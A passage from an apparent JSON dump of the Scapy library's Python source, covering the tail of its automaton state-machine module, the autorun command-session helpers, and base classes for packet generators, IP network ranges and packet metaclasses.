self.CommandMessage(\"Received command message\")  # noqa: E501\n                        elif fd == self.listen_sock:\n                            try:\n                                pkt = self.listen_sock.recv()\n                            except EOFError:\n                                # Socket was closed abruptly. This will likely only\n                                # ever happen when a client socket is passed to the\n                                # automaton (not the case when the automaton is\n                                # listening on a promiscuous conf.L2sniff)\n                                self.listen_sock.close()\n                                # False so that it is still reset by update_sock\n                                self.listen_sock = False  # type: ignore\n                                fds.remove(fd)\n                                if self.state.state in self.eofs:\n                                    # There is an eof state\n                                    eof = self.eofs[self.state.state]\n                                    self.debug(2, \"Condition EOF [%s] taken\" % eof.__name__)  # noqa: E501\n                                    raise self.eofs[self.state.state](self)\n                                else:\n                                    # There isn't. Therefore, it's a closing condition.\n                                    raise EOFError(\"Socket ended arbruptly.\")\n                            if self.atmt_session is not None:\n                                # Apply session if provided\n                                pkt = self.atmt_session.process(pkt)\n                            if pkt is not None:\n                                if self.master_filter(pkt):\n                                    self.debug(3, \"RECVD: %s\" % pkt.summary())  # noqa: E501\n                                    for rcvcond in self.recv_conditions[self.state.state]:  # noqa: E501\n                                        self._run_condition(rcvcond, pkt, *state_output)  # noqa: E501\n                                else:\n                                    self.debug(4, \"FILTR: %s\" % pkt.summary())  # noqa: E501\n                        else:\n                            self.debug(3, \"IOEVENT on %s\" % fd.ioname)\n                            for ioevt in self.ioevents[self.state.state]:\n                                if ioevt.atmt_ioname == fd.ioname:\n                                    self._run_condition(ioevt, fd, *state_output)  # noqa: E501\n\n            except ATMT.NewStateRequested as state_req:\n                self.debug(2, \"switching from [%s] to [%s]\" % (self.state.state, state_req.state))  # noqa: E501\n                self.state = state_req\n                yield state_req\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<Automaton %s [%s]>\" % (\n            self.__class__.__name__,\n            [\"HALTED\", \"RUNNING\"][self.isrunning()]\n        )\n\n    # Public API\n    def add_interception_points(self, *ipts):\n        # type: (Any) -> None\n        for ipt in ipts:\n            if hasattr(ipt, \"atmt_state\"):\n                ipt = ipt.atmt_state\n            self.interception_points.add(ipt)\n\n    def remove_interception_points(self, *ipts):\n        # type: (Any) -> None\n        for ipt in ipts:\n            if hasattr(ipt, \"atmt_state\"):\n                ipt = ipt.atmt_state\n            self.interception_points.discard(ipt)\n\n    def add_breakpoints(self, *bps):\n        # type: (Any) -> None\n        for bp in bps:\n            if hasattr(bp, \"atmt_state\"):\n                bp = bp.atmt_state\n            self.breakpoints.add(bp)\n\n    def remove_breakpoints(self, *bps):\n        # type: (Any) -> None\n        for bp in bps:\n            if hasattr(bp, \"atmt_state\"):\n                bp = bp.atmt_state\n            self.breakpoints.discard(bp)\n\n    def start(self, *args, **kargs):\n        # type: (Any, Any) -> None\n        if self.isrunning():\n            raise ValueError(\"Already started\")\n        # Start the control thread\n        self._do_start(*args, **kargs)\n\n    def run(self,\n            resume=None,    # type: Optional[Message]\n            wait=True       # type: Optional[bool]\n            ):\n        # type: (...) -> Any\n        if resume is None:\n            resume = Message(type=_ATMT_Command.RUN)\n        self.cmdin.send(resume)\n        if wait:\n            try:\n                c = self.cmdout.recv()\n                if c is None:\n                    return None\n            except KeyboardInterrupt:\n                self.cmdin.send(Message(type=_ATMT_Command.FREEZE))\n                return None\n            if c.type == _ATMT_Command.END:\n                return c.result\n            elif c.type == _ATMT_Command.INTERCEPT:\n                raise self.InterceptionPoint(\"packet intercepted\", state=c.state.state, packet=c.pkt)  # noqa: E501\n            elif c.type == _ATMT_Command.SINGLESTEP:\n                raise self.Singlestep(\"singlestep state=[%s]\" % c.state.state, state=c.state.state)  # noqa: E501\n            elif c.type == _ATMT_Command.BREAKPOINT:\n                raise self.Breakpoint(\"breakpoint triggered on state [%s]\" % c.state.state, state=c.state.state)  # noqa: E501\n            elif c.type == _ATMT_Command.EXCEPTION:\n                # this code comes from the `six` module (`.reraise()`)\n                # to raise an exception with specified exc_info.\n                value = c.exc_info[0]() if c.exc_info[1] is None else c.exc_info[1]  # type: ignore  # noqa: E501\n                if value.__traceback__ is not c.exc_info[2]:\n                    raise value.with_traceback(c.exc_info[2])\n                raise value\n        return None\n\n    def runbg(self, resume=None, wait=False):\n        # type: (Optional[Message], Optional[bool]) -> None\n        self.run(resume, wait)\n\n    def __next__(self):\n        # type: () -> Any\n        return self.run(resume=Message(type=_ATMT_Command.NEXT))\n\n    def _flush_inout(self):\n        # type: () -> None\n        # Flush command pipes\n        for cmd in [self.cmdin, self.cmdout]:\n            cmd.clear()\n\n    def destroy(self):\n        # type: () -> None\n        \"\"\"\n        Destroys a stopped Automaton: this cleanups all opened file descriptors.\n        Required on PyPy for instance where the garbage collector behaves differently.\n        \"\"\"\n        if not hasattr(self, \"started\"):\n            return  # was never started.\n        if self.isrunning():\n            raise ValueError(\"Can't close running Automaton ! Call stop() beforehand\")\n        # Close command pipes\n        self.cmdin.close()\n        self.cmdout.close()\n        self._flush_inout()\n        # Close opened ioins/ioouts\n        for i in itertools.chain(self.ioin.values(), self.ioout.values()):\n            if isinstance(i, ObjectPipe):\n                i.close()\n\n    def stop(self, wait=True):\n        # type: (bool) -> None\n        try:\n            self.cmdin.send(Message(type=_ATMT_Command.STOP))\n        except OSError:\n            pass\n        if wait:\n            with self.started:\n                self._flush_inout()\n\n    def forcestop(self, wait=True):\n        # type: (bool) -> None\n        try:\n            self.cmdin.send(Message(type=_ATMT_Command.FORCESTOP))\n        except OSError:\n            pass\n        if wait:\n            with self.started:\n                self._flush_inout()\n\n    def restart(self, *args, **kargs):\n        # type: (Any, Any) -> None\n        self.stop()\n        self.start(*args, **kargs)\n\n    def accept_packet(self,\n                      pkt=None,     # type: Optional[Packet]\n                      wait=False    # type: Optional[bool]\n                      ):\n        # type: (...) -> Any\n        rsm = Message()\n        if pkt is None:\n            rsm.type = _ATMT_Command.ACCEPT\n        else:\n            rsm.type = _ATMT_Command.REPLACE\n            rsm.pkt = pkt\n        return self.run(resume=rsm, wait=wait)\n\n    def reject_packet(self,\n                      wait=False    # type: Optional[bool]\n                      ):\n        # type: (...) -> Any\n        rsm = Message(type=_ATMT_Command.REJECT)\n        return self.run(resume=rsm, wait=wait)\n"
  },
  {
    "path": "scapy/autorun.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nRun commands when the Scapy interpreter starts.\n\"\"\"\n\nimport builtins\nimport code\nfrom io import StringIO\nimport logging\nfrom queue import Queue\nimport sys\nimport threading\nimport traceback\n\nfrom scapy.config import conf\nfrom scapy.themes import NoTheme, DefaultTheme, HTMLTheme2, LatexTheme2\nfrom scapy.error import log_scapy, Scapy_Exception\nfrom scapy.utils import tex_escape\n\nfrom typing import (\n    Any,\n    Optional,\n    TextIO,\n    Dict,\n    Tuple,\n)\n\n\n#########################\n#     Autorun stuff     #\n#########################\n\nclass StopAutorun(Scapy_Exception):\n    code_run = \"\"\n\n\nclass StopAutorunTimeout(StopAutorun):\n    pass\n\n\nclass ScapyAutorunInterpreter(code.InteractiveInterpreter):\n    def __init__(self, *args, **kargs):\n        # type: (*Any, **Any) -> None\n        code.InteractiveInterpreter.__init__(self, *args, **kargs)\n\n    def write(self, data):\n        # type: (str) -> None\n        pass\n\n\ndef autorun_commands(_cmds, my_globals=None, verb=None):\n    # type: (str, Optional[Dict[str, Any]], Optional[int]) -> Any\n    sv = conf.verb\n    try:\n        try:\n            if my_globals is None:\n                from scapy.main import _scapy_builtins\n                my_globals = _scapy_builtins()\n            interp = ScapyAutorunInterpreter(locals=my_globals)\n            try:\n                del builtins.__dict__[\"scapy_session\"][\"_\"]\n            except KeyError:\n                pass\n            if verb is not None:\n                conf.verb = verb\n            cmd = \"\"\n            cmds = _cmds.splitlines()\n            cmds.append(\"\")  # ensure we finish multi-line commands\n            cmds.reverse()\n            while True:\n                if cmd:\n                    sys.stderr.write(sys.__dict__.get(\"ps2\", \"... \"))\n                else:\n                    sys.stderr.write(sys.__dict__.get(\"ps1\", \">>> \"))\n\n                line = cmds.pop()\n                print(line)\n                cmd += \"\\n\" + line\n                sys.last_value = None\n                if interp.runsource(cmd):\n                    continue\n                if sys.last_value:  # An error occurred\n                    traceback.print_exception(sys.last_type,\n                                              sys.last_value,\n                                              sys.last_traceback.tb_next,\n                                              file=sys.stdout)\n                    sys.last_value = None\n                    return False\n                cmd = \"\"\n                if len(cmds) <= 1:\n                    break\n        except SystemExit:\n            pass\n    finally:\n        conf.verb = sv\n    try:\n        return builtins.__dict__[\"scapy_session\"][\"_\"]\n    except KeyError:\n        return builtins.__dict__.get(\"_\", None)\n\n\ndef autorun_commands_timeout(cmds, timeout=None, **kwargs):\n    # type: (str, Optional[int], **Any) -> Any\n    \"\"\"\n    Wraps autorun_commands with a timeout that raises StopAutorunTimeout\n    on expiration.\n    \"\"\"\n    if timeout is None:\n        return autorun_commands(cmds, **kwargs)\n\n    q = Queue()  # type: Queue[Any]\n\n    def _runner():\n        # type: () -> None\n        q.put(autorun_commands(cmds, **kwargs))\n    th = threading.Thread(target=_runner)\n    th.daemon = True\n    th.start()\n    th.join(timeout)\n    if th.is_alive():\n        raise StopAutorunTimeout\n    return q.get()\n\n\nclass StringWriter(StringIO):\n    \"\"\"Util to mock sys.stdout and sys.stderr, and\n    store their output in a 's' var.\"\"\"\n    def __init__(self, debug=None):\n        # type: (Optional[TextIO]) -> None\n        self.s = \"\"\n        self.debug = debug\n        super().__init__()\n\n    def write(self, x):\n        # type: (str) -> int\n        # Object can be in the middle of being destroyed.\n        if getattr(self, \"debug\", None) and self.debug:\n            self.debug.write(x)\n        if getattr(self, \"s\", None) is not None:\n            self.s += x\n        return len(x)\n\n    def flush(self):\n        # type: () -> None\n        if getattr(self, \"debug\", None) and self.debug:\n            self.debug.flush()\n\n\ndef autorun_get_interactive_session(cmds, **kargs):\n    # type: (str, **Any) -> Tuple[str, Any]\n    \"\"\"Create an interactive session and execute the\n    commands passed as \"cmds\" and return all output\n\n    :param cmds: a list of commands to run\n    :param timeout: timeout in seconds\n    :returns: (output, returned) contains both sys.stdout and sys.stderr logs\n    \"\"\"\n    sstdout, sstderr, sexcepthook = sys.stdout, sys.stderr, sys.excepthook\n    sw = StringWriter()\n    h_old = log_scapy.handlers[0]\n    log_scapy.removeHandler(h_old)\n    log_scapy.addHandler(logging.StreamHandler(stream=sw))\n    try:\n        try:\n            sys.stdout = sys.stderr = sw\n            sys.excepthook = sys.__excepthook__\n            res = autorun_commands_timeout(cmds, **kargs)\n        except StopAutorun as e:\n            e.code_run = sw.s\n            raise\n    finally:\n        sys.stdout, sys.stderr, sys.excepthook = sstdout, sstderr, sexcepthook\n        log_scapy.removeHandler(log_scapy.handlers[0])\n        log_scapy.addHandler(h_old)\n    return sw.s, res\n\n\ndef autorun_get_interactive_live_session(cmds, **kargs):\n    # type: (str, **Any) -> Tuple[str, Any]\n    \"\"\"Create an interactive session and execute the\n    commands passed as \"cmds\" and return all output\n\n    :param cmds: a list of commands to run\n    :param timeout: timeout in seconds\n    :returns: (output, returned) contains both sys.stdout and sys.stderr logs\n    \"\"\"\n    sstdout, sstderr = sys.stdout, sys.stderr\n    sw = StringWriter(debug=sstdout)\n    try:\n        try:\n            sys.stdout = sys.stderr = sw\n            res = autorun_commands_timeout(cmds, **kargs)\n        except StopAutorun as e:\n            e.code_run = sw.s\n            raise\n    finally:\n        sys.stdout, sys.stderr = sstdout, sstderr\n    return sw.s, res\n\n\ndef autorun_get_text_interactive_session(cmds, **kargs):\n    # type: (str, **Any) -> Tuple[str, Any]\n    ct = conf.color_theme\n    try:\n        conf.color_theme = NoTheme()\n        s, res = autorun_get_interactive_session(cmds, **kargs)\n    finally:\n        conf.color_theme = ct\n    return s, res\n\n\ndef autorun_get_live_interactive_session(cmds, **kargs):\n    # type: (str, **Any) -> Tuple[str, Any]\n    ct = conf.color_theme\n    try:\n        conf.color_theme = DefaultTheme()\n        s, res = autorun_get_interactive_live_session(cmds, **kargs)\n    finally:\n        conf.color_theme = ct\n    return s, res\n\n\ndef autorun_get_ansi_interactive_session(cmds, **kargs):\n    # type: (str, **Any) -> Tuple[str, Any]\n    ct = conf.color_theme\n    try:\n        conf.color_theme = DefaultTheme()\n        s, res = autorun_get_interactive_session(cmds, **kargs)\n    finally:\n        conf.color_theme = ct\n    return s, res\n\n\ndef autorun_get_html_interactive_session(cmds, **kargs):\n    # type: (str, **Any) -> Tuple[str, Any]\n    ct = conf.color_theme\n\n    def to_html(s):\n        # type: (str) -> str\n        return s.replace(\"<\", \"&lt;\").replace(\">\", \"&gt;\").replace(\"#[#\", \"<\").replace(\"#]#\", \">\")  # noqa: E501\n    try:\n        try:\n            conf.color_theme = HTMLTheme2()\n            s, res = autorun_get_interactive_session(cmds, **kargs)\n        except StopAutorun as e:\n            e.code_run = to_html(e.code_run)\n            raise\n    finally:\n        conf.color_theme = ct\n\n    return to_html(s), res\n\n\ndef autorun_get_latex_interactive_session(cmds, **kargs):\n    # type: (str, **Any) -> Tuple[str, Any]\n    ct = conf.color_theme\n\n    def to_latex(s):\n        # type: (str) -> str\n        return tex_escape(s).replace(\"@[@\", \"{\").replace(\"@]@\", \"}\").replace(\"@`@\", \"\\\\\")  # noqa: E501\n    try:\n        try:\n            conf.color_theme = LatexTheme2()\n            s, res = autorun_get_interactive_session(cmds, **kargs)\n        except StopAutorun as e:\n            e.code_run = to_latex(e.code_run)\n            raise\n    finally:\n        conf.color_theme = ct\n    return to_latex(s), res\n"
  },
  {
    "path": "scapy/base_classes.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nGenerators and packet meta classes.\n\"\"\"\n\n################\n#  Generators  #\n################\n\n\nfrom functools import reduce\nimport abc\nimport operator\nimport os\nimport random\nimport re\nimport socket\nimport struct\nimport subprocess\nimport types\nimport warnings\n\nimport scapy\nfrom scapy.error import Scapy_Exception\nfrom scapy.consts import WINDOWS\n\nfrom typing import (\n    Any,\n    Dict,\n    Generic,\n    Iterator,\n    List,\n    Optional,\n    Tuple,\n    Type,\n    TypeVar,\n    Union,\n    cast,\n    TYPE_CHECKING,\n)\n\nif TYPE_CHECKING:\n    try:\n        import pyx\n    except ImportError:\n        pass\n    from scapy.packet import Packet\n\n_T = TypeVar(\"_T\")\n\n\nclass Gen(Generic[_T]):\n    __slots__ = []  # type: List[str]\n\n    def __iter__(self):\n        # type: () -> Iterator[_T]\n        return iter([])\n\n    def __iterlen__(self):\n        # type: () -> int\n        return sum(1 for _ in iter(self))\n\n\ndef _get_values(value):\n    # type: (Any) -> Any\n    \"\"\"Generate a range object from (start, stop[, step]) tuples, or\n    return value.\n\n    \"\"\"\n    if (isinstance(value, tuple) and (2 <= len(value) <= 3) and\n            all(hasattr(i, \"__int__\") for i in value)):\n        # We use values[1] + 1 as stop value for (x)range to maintain\n        # the behavior of using tuples as field `values`\n        return range(*((int(value[0]), int(value[1]) + 1) +\n                       tuple(int(v) for v in value[2:])))\n    return value\n\n\nclass SetGen(Gen[_T]):\n    def __init__(self, values, _iterpacket=1):\n        # type: (Any, int) -> None\n        self._iterpacket = _iterpacket\n        if isinstance(values, (list, BasePacketList)):\n            self.values = [_get_values(val) for val in values]\n        else:\n            self.values = [_get_values(values)]\n\n    def __iter__(self):\n        # type: () -> Iterator[Any]\n        for i in self.values:\n            if (isinstance(i, Gen) and\n                (self._iterpacket or not isinstance(i, BasePacket))) or (\n                    isinstance(i, (range, types.GeneratorType))):\n                for j in i:\n                    yield j\n            else:\n                yield i\n\n    def __len__(self):\n        # type: () -> int\n        return self.__iterlen__()\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<SetGen %r>\" % self.values\n\n\nclass _ScopedIP(str):\n    \"\"\"\n    A str that also holds extra attributes.\n    \"\"\"\n    __slots__ = [\"scope\"]\n\n    def __init__(self, _: str) -> None:\n        self.scope = None\n\n    def __repr__(self) -> str:\n        val = super(_ScopedIP, self).__repr__()\n        if self.scope is not None:\n            return \"ScopedIP(%s, scope=%s)\" % (val, repr(self.scope))\n        return val\n\n\ndef ScopedIP(net: str, scope: Optional[Any] = None) -> _ScopedIP:\n    \"\"\"\n    An str that also holds extra attributes.\n\n    Examples::\n\n        >>> ScopedIP(\"224.0.0.1%eth0\")  # interface 'eth0'\n        >>> ScopedIP(\"224.0.0.1%1\")  # interface index 1\n        >>> ScopedIP(\"224.0.0.1\", scope=conf.iface)\n    \"\"\"\n    if \"%\" in net:\n        try:\n            net, scope = net.split(\"%\", 1)\n        except ValueError:\n            raise Scapy_Exception(\"Scope identifier can only be present once !\")\n    if scope is not None:\n        from scapy.interfaces import resolve_iface, network_name, dev_from_index\n        try:\n            iface = dev_from_index(int(scope))\n        except (ValueError, TypeError):\n            iface = resolve_iface(scope)\n        if not iface.is_valid():\n            raise Scapy_Exception(\n                \"RFC6874 scope identifier '%s' could not be resolved to a \"\n                \"valid interface !\" % scope\n            )\n        scope = network_name(iface)\n    x = _ScopedIP(net)\n    x.scope = scope\n    return x\n\n\nclass Net(Gen[str]):\n    \"\"\"\n    Network object from an IP address or hostname and mask\n\n    Examples:\n\n        - With mask::\n\n            >>> list(Net(\"192.168.0.1/24\"))\n            ['192.168.0.0', '192.168.0.1', ..., '192.168.0.255']\n\n        - With 'end'::\n\n            >>> list(Net(\"192.168.0.100\", \"192.168.0.200\"))\n            ['192.168.0.100', '192.168.0.101', ..., '192.168.0.200']\n\n        - With 'scope' (for multicast)::\n\n            >>> Net(\"224.0.0.1%lo\")\n            >>> Net(\"224.0.0.1\", scope=conf.iface)\n    \"\"\"\n    name = \"Net\"  # type: str\n    family = socket.AF_INET  # type: int\n    max_mask = 32  # type: int\n\n    @classmethod\n    def name2addr(cls, name):\n        # type: (str) -> str\n        try:\n            return next(\n                addr_port[0]\n                for family, _, _, _, addr_port in\n                socket.getaddrinfo(name, None, cls.family)\n                if family == cls.family\n            )\n        except socket.error:\n            if re.search(\"(^|\\\\.)[0-9]+-[0-9]+($|\\\\.)\", name) is not None:\n                raise Scapy_Exception(\"Ranges are no longer accepted in %s()\" %\n                                      cls.__name__)\n            raise\n\n    @classmethod\n    def ip2int(cls, addr):\n        # type: (str) -> int\n        return cast(int, struct.unpack(\n            \"!I\", socket.inet_aton(cls.name2addr(addr))\n        )[0])\n\n    @staticmethod\n    def int2ip(val):\n        # type: (int) -> str\n        return socket.inet_ntoa(struct.pack('!I', val))\n\n    def __init__(self, net, stop=None, scope=None):\n        # type: (str, Optional[str], Optional[str]) -> None\n        if \"*\" in net:\n            raise Scapy_Exception(\"Wildcards are no longer accepted in %s()\" %\n                                  self.__class__.__name__)\n        self.scope = None\n        if \"%\" in net:\n            net = ScopedIP(net)\n        if isinstance(net, _ScopedIP):\n            self.scope = net.scope\n        if stop is None:\n            try:\n                net, mask = net.split(\"/\", 1)\n            except ValueError:\n                self.mask = self.max_mask  # type: Union[None, int]\n            else:\n                self.mask = int(mask)\n            self.net = net  # type: Union[None, str]\n            inv_mask = self.max_mask - self.mask\n            self.start = self.ip2int(net) >> inv_mask << inv_mask\n            self.count = 1 << inv_mask\n            self.stop = self.start + self.count - 1\n        else:\n            self.start = self.ip2int(net)\n            self.stop = self.ip2int(stop)\n            self.count = self.stop - self.start + 1\n            self.net = self.mask = None\n\n    def __str__(self):\n        # type: () -> str\n        return next(iter(self), \"\")\n\n    def __iter__(self):\n        # type: () -> Iterator[str]\n        # Python 2 won't handle huge (> sys.maxint) values in range()\n        for i in range(self.count):\n            yield ScopedIP(\n                self.int2ip(self.start + i),\n                scope=self.scope,\n            )\n\n    def __len__(self):\n        # type: () -> int\n        return self.count\n\n    def __iterlen__(self):\n        # type: () -> int\n        # for compatibility\n        return len(self)\n\n    def choice(self):\n        # type: () -> str\n        return ScopedIP(\n            self.int2ip(random.randint(self.start, self.stop)),\n            scope=self.scope,\n        )\n\n    def __repr__(self):\n        # type: () -> str\n        scope_id_repr = \"\"\n        if self.scope:\n            scope_id_repr = \", scope=%s\" % repr(self.scope)\n        if self.mask is not None:\n            return '%s(\"%s/%d\"%s)' % (\n                self.__class__.__name__,\n                self.net,\n                self.mask,\n                scope_id_repr,\n            )\n        return '%s(\"%s\", \"%s\"%s)' % (\n            self.__class__.__name__,\n            self.int2ip(self.start),\n            self.int2ip(self.stop),\n            scope_id_repr,\n        )\n\n    def __eq__(self, other):\n        # type: (Any) -> bool\n        if isinstance(other, str):\n            return self == self.__class__(other)\n        if not isinstance(other, Net):\n            return False\n        if self.family != other.family:\n            return False\n        return (self.start == other.start) and (self.stop == other.stop)\n\n    def __ne__(self, other):\n        # type: (Any) -> bool\n        # Python 2.7 compat\n        return not self == other\n\n    def __hash__(self):\n        # type: () -> int\n        return hash((\"scapy.Net\", self.family, self.start, self.stop, self.scope))\n\n    def __contains__(self, other):\n        # type: (Any) -> bool\n        if isinstance(other, int):\n            return self.start <= other <= self.stop\n        if isinstance(other, str):\n            return self.__class__(other) in self\n        if type(other) is not self.__class__:\n            return False\n        return self.start <= other.start <= other.stop <= self.stop\n\n\nclass OID(Gen[str]):\n    name = \"OID\"\n\n    def __init__(self, oid):\n        # type: (str) -> None\n        self.oid = oid\n        self.cmpt = []\n        fmt = []\n        for i in oid.split(\".\"):\n            if \"-\" in i:\n                fmt.append(\"%i\")\n                self.cmpt.append(tuple(map(int, i.split(\"-\"))))\n            else:\n                fmt.append(i)\n        self.fmt = \".\".join(fmt)\n\n    def __repr__(self):\n        # type: () -> str\n        return \"OID(%r)\" % self.oid\n\n    def __iter__(self):\n        # type: () -> Iterator[str]\n        ii = [k[0] for k in self.cmpt]\n        while True:\n            yield self.fmt % tuple(ii)\n            i = 0\n            while True:\n                if i >= len(ii):\n                    return\n                if ii[i] < self.cmpt[i][1]:\n                    ii[i] += 1\n                    break\n                else:\n                    ii[i] = self.cmpt[i][0]\n                i += 1\n\n    def __iterlen__(self):\n        # type: () -> int\n        return reduce(operator.mul, (max(y - x, 0) + 1 for (x, y) in self.cmpt), 1)  # noqa: E501\n\n\n######################################\n#  Packet abstract and base classes  #\n######################################\n\nclass Packet_metaclass(type):\n    def __new__(cls: Type[_T],\n                name,  # type: str\n                bases,  # type: Tuple[type, ...]\n                dct  # type: Dict[str, Any]\n                ):\n        # type: (...) -> Type['Packet']\n        if \"fields_desc\" in dct:  # perform resolution of references to other packets  # noqa: E501\n            current_fld = dct[\"fields_desc\"]  # type: List[Union[scapy.fields.Field[Any, Any], Packet_metaclass]]  # noqa: E501\n            resolved_fld = []  # type: List[scapy.fields.Field[Any, Any]]\n            for fld_or_pkt in current_fld:\n                if isinstance(fld_or_pkt, Packet_metaclass):\n                    # reference to another fields_desc\n                    for pkt_fld in fld_or_pkt.fields_desc:\n                        resolved_fld.append(pkt_fld)\n                else:\n                    resolved_fld.append(fld_or_pkt)\n        else:  # look for a fields_desc in parent classes\n            resolved_fld = []\n            for b in bases:\n                if hasattr(b, \"fields_desc\"):\n                    resolved_fld = b.fields_desc\n                    break\n\n        if resolved_fld:  # perform default value replacements\n            final_fld = []  # type: List[scapy.fields.Field[Any, Any]]\n            names = []\n            for f in resolved_fld:\n                if f.name in names:\n                    war_msg = (\n                        \"Packet '%s' has a duplicated '%s' field ! \"\n                        \"If you are using several ConditionalFields, have \"\n                        \"a look at MultipleTypeField instead ! This will \"\n                        \"become a SyntaxError in a future version of \"\n                        \"Scapy !\" % (\n                            name, f.name\n                        )\n                    )\n                    warnings.warn(war_msg, SyntaxWarning)\n                names.append(f.name)\n                if f.name in dct:\n                    f = f.copy()\n                    f.default = dct[f.name]\n                    del dct[f.name]\n                final_fld.append(f)\n\n            dct[\"fields_desc\"] = final_fld\n\n        dct.setdefault(\"__slots__\", [])\n        for attr in [\"name\", \"overload_fields\"]:\n            try:\n                dct[\"_%s\" % attr] = dct.pop(attr)\n            except KeyError:\n                pass\n        # Build and inject signature\n        try:\n            # Py3 only\n            import inspect\n            dct[\"__signature__\"] = inspect.Signature([\n                inspect.Parameter(\"_pkt\", inspect.Parameter.POSITIONAL_ONLY),\n            ] + [\n                inspect.Parameter(f.name,\n                                  inspect.Parameter.KEYWORD_ONLY,\n                                  default=f.default)\n                for f in dct[\"fields_desc\"]\n            ])\n        except (ImportError, AttributeError, KeyError):\n            pass\n        newcls = cast(Type['Packet'], type.__new__(cls, name, bases, dct))\n        # Note: below can't be typed because we use attributes\n        # created dynamically..\n        newcls.__all_slots__ = set(  # type: ignore\n            attr\n            for cls in newcls.__mro__ if hasattr(cls, \"__slots__\")\n            for attr in cls.__slots__\n        )\n\n        newcls.aliastypes = (  # type: ignore\n            [newcls] + getattr(newcls, \"aliastypes\", [])\n        )\n\n        if hasattr(newcls, \"register_variant\"):\n            newcls.register_variant()\n        for _f in newcls.fields_desc:\n            if hasattr(_f, \"register_owner\"):\n                _f.register_owner(newcls)\n        if newcls.__name__[0] != \"_\":\n            from scapy import config\n            config.conf.layers.register(newcls)\n        return newcls\n\n    def __getattr__(self, attr):\n        # type: (str) -> Any\n        for k in self.fields_desc:\n            if k.name == attr:\n                return k\n        raise AttributeError(attr)\n\n    def __call__(cls,\n                 *args,  # type: Any\n                 **kargs  # type: Any\n                 ):\n        # type: (...) -> 'Packet'\n        if \"dispatch_hook\" in cls.__dict__:\n            try:\n                cls = cls.dispatch_hook(*args, **kargs)\n            except Exception:\n                from scapy import config\n                if config.conf.debug_dissector:\n                    raise\n                cls = config.conf.raw_layer\n        i = cls.__new__(\n            cls,  # type: ignore\n            cls.__name__,\n            cls.__bases__,\n            cls.__dict__  # type: ignore\n        )\n        i.__init__(*args, **kargs)\n        return i  # type: ignore\n\n\n# Note: see compat.py for an explanation\n\nclass Field_metaclass(type):\n    def __new__(cls: Type[_T],\n                name,  # type: str\n                bases,  # type: Tuple[type, ...]\n                dct  # type: Dict[str, Any]\n                ):\n        # type: (...) -> Type[_T]\n        dct.setdefault(\"__slots__\", [])\n        newcls = type.__new__(cls, name, bases, dct)\n        return newcls  # type: ignore\n\n\nPacketList_metaclass = Field_metaclass\n\n\nclass BasePacket(Gen['Packet']):\n    __slots__ = []  # type: List[str]\n\n\n#############################\n#  Packet list base class   #\n#############################\n\nclass BasePacketList(Gen[_T]):\n    __slots__ = []  # type: List[str]\n\n\nclass _CanvasDumpExtended(object):\n    @abc.abstractmethod\n    def canvas_dump(self, layer_shift=0, rebuild=1):\n        # type: (int, int) -> pyx.canvas.canvas\n        pass\n\n    def psdump(self, filename=None, **kargs):\n        # type: (Optional[str], **Any) -> None\n        \"\"\"\n        psdump(filename=None, layer_shift=0, rebuild=1)\n\n        Creates an EPS file describing a packet. If filename is not provided a\n        temporary file is created and gs is called.\n\n        :param filename: the file's filename\n        \"\"\"\n        from scapy.config import conf\n        from scapy.utils import get_temp_file, ContextManagerSubprocess\n        canvas = self.canvas_dump(**kargs)\n        if filename is None:\n            fname = get_temp_file(autoext=kargs.get(\"suffix\", \".eps\"))\n            canvas.writeEPSfile(fname)\n            if WINDOWS and not conf.prog.psreader:\n                os.startfile(fname)\n            else:\n                with ContextManagerSubprocess(conf.prog.psreader):\n                    subprocess.Popen([conf.prog.psreader, fname])\n        else:\n            canvas.writeEPSfile(filename)\n        print()\n\n    def pdfdump(self, filename=None, **kargs):\n        # type: (Optional[str], **Any) -> None\n        \"\"\"\n        pdfdump(filename=None, layer_shift=0, rebuild=1)\n\n        Creates a PDF file describing a packet. If filename is not provided a\n        temporary file is created and xpdf is called.\n\n        :param filename: the file's filename\n        \"\"\"\n        from scapy.config import conf\n        from scapy.utils import get_temp_file, ContextManagerSubprocess\n        canvas = self.canvas_dump(**kargs)\n        if filename is None:\n            fname = get_temp_file(autoext=kargs.get(\"suffix\", \".pdf\"))\n            canvas.writePDFfile(fname)\n            if WINDOWS and not conf.prog.pdfreader:\n                os.startfile(fname)\n            else:\n                with ContextManagerSubprocess(conf.prog.pdfreader):\n                    subprocess.Popen([conf.prog.pdfreader, fname])\n        else:\n            canvas.writePDFfile(filename)\n        print()\n\n    def svgdump(self, filename=None, **kargs):\n        # type: (Optional[str], **Any) -> None\n        \"\"\"\n        svgdump(filename=None, layer_shift=0, rebuild=1)\n\n        Creates an SVG file describing a packet. If filename is not provided a\n        temporary file is created and gs is called.\n\n        :param filename: the file's filename\n        \"\"\"\n        from scapy.config import conf\n        from scapy.utils import get_temp_file, ContextManagerSubprocess\n        canvas = self.canvas_dump(**kargs)\n        if filename is None:\n            fname = get_temp_file(autoext=kargs.get(\"suffix\", \".svg\"))\n            canvas.writeSVGfile(fname)\n            if WINDOWS and not conf.prog.svgreader:\n                os.startfile(fname)\n            else:\n                with ContextManagerSubprocess(conf.prog.svgreader):\n                    subprocess.Popen([conf.prog.svgreader, fname])\n        else:\n            canvas.writeSVGfile(filename)\n        print()\n"
  },
  {
    "path": "scapy/cbor/__init__.py",
